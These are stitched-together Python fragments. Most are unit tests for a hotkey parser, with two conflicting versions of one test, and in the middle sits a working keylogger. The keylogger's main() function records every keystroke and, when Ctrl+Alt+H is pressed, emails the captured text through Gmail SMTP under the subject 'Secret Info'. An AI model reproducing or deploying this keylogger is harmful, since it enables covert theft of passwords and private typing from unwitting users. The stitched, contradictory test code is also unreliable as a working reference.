def test_parse_valid(self): self.assertSequenceEqual( HotKey.parse('a'), [ kc.from_char('a')]) self.assertSequenceEqual( HotKey.parse('A'), [ kc.from_char('a')]) self.assertSequenceEqual( HotKey.parse('<ctrl>+a'), [ k.ctrl, kc.from_char('a')]) self.assertSequenceEqual( HotKey.parse('<ctrl>+<alt>+a'), [ k.ctrl, k.alt, kc.from_char('a')]) self.assertSequenceEqual( HotKey.parse('<ctrl>+<123456>'), [ k.ctrl, kc.from_vk(123456)])
def set_hotkeys(self, hotkeys: Dict) -> None: for hotkey in hotkeys: try: if hotkeys[hotkey].__name__ == 'on_paste': self.paste_hotkeys = HotKey.parse(hotkey) break except Exception: continue
def test_parse_invalid(self): with self.assertRaises(ValueError) as e: HotKey.parse('invalid') self.assertEqual(e.exception.args, ('invalid', )) with self.assertRaises(ValueError) as e: HotKey.parse('a+') self.assertEqual(e.exception.args, ('a+', )) with self.assertRaises(ValueError) as e: HotKey.parse('<ctrl>+<halt>') self.assertEqual(e.exception.args, ('<halt>', )) with self.assertRaises(ValueError) as e: HotKey.parse('<ctrl>+a+a') self.assertEqual(e.exception.args, ('<ctrl>+a+a', )) with self.assertRaises(ValueError) as e: HotKey.parse('<ctrl>+a+A') self.assertEqual(e.exception.args, ('<ctrl>+a+A', ))
def main(): #Email Stuff gmail_user = "" gmail_password = "" sent_from = gmail_user to = [""] subject = "Secret Info" #Sends our email and stops the keylogger def on_activate(): print("Hotkey Pressed") try: server = smtplib.SMTP_SSL('smtp.gmail.com', 465) server.ehlo() server.login(gmail_user, gmail_password) print(body) email_text = """\ From: {}, To: {} Subject: {} {}""".format(sent_from, to, subject, body) server.sendmail(sent_from, to, email_text) server.close() print("Email Sent") print(email_text) except: print("something wrong yo") sys.exit(0) def on_press(key): global body body = body + str(key) def for_canonical(f): return lambda k: f(listener.canonical(k)) hotkey = HotKey(HotKey.parse('<ctrl>+<alt>+h'), on_activate) with Listener(on_press=on_press, on_release=for_canonical(hotkey.press)) as listener: listener.join()
def test_parse_valid(self): self.assertSetEqual(HotKey.parse('a'), {kc.from_char('A')}) self.assertSetEqual(HotKey.parse('<ctrl>+a'), {k.ctrl, kc.from_char('A')}) self.assertSetEqual(HotKey.parse('<ctrl>+<alt>+a'), {k.ctrl, k.alt, kc.from_char('A')})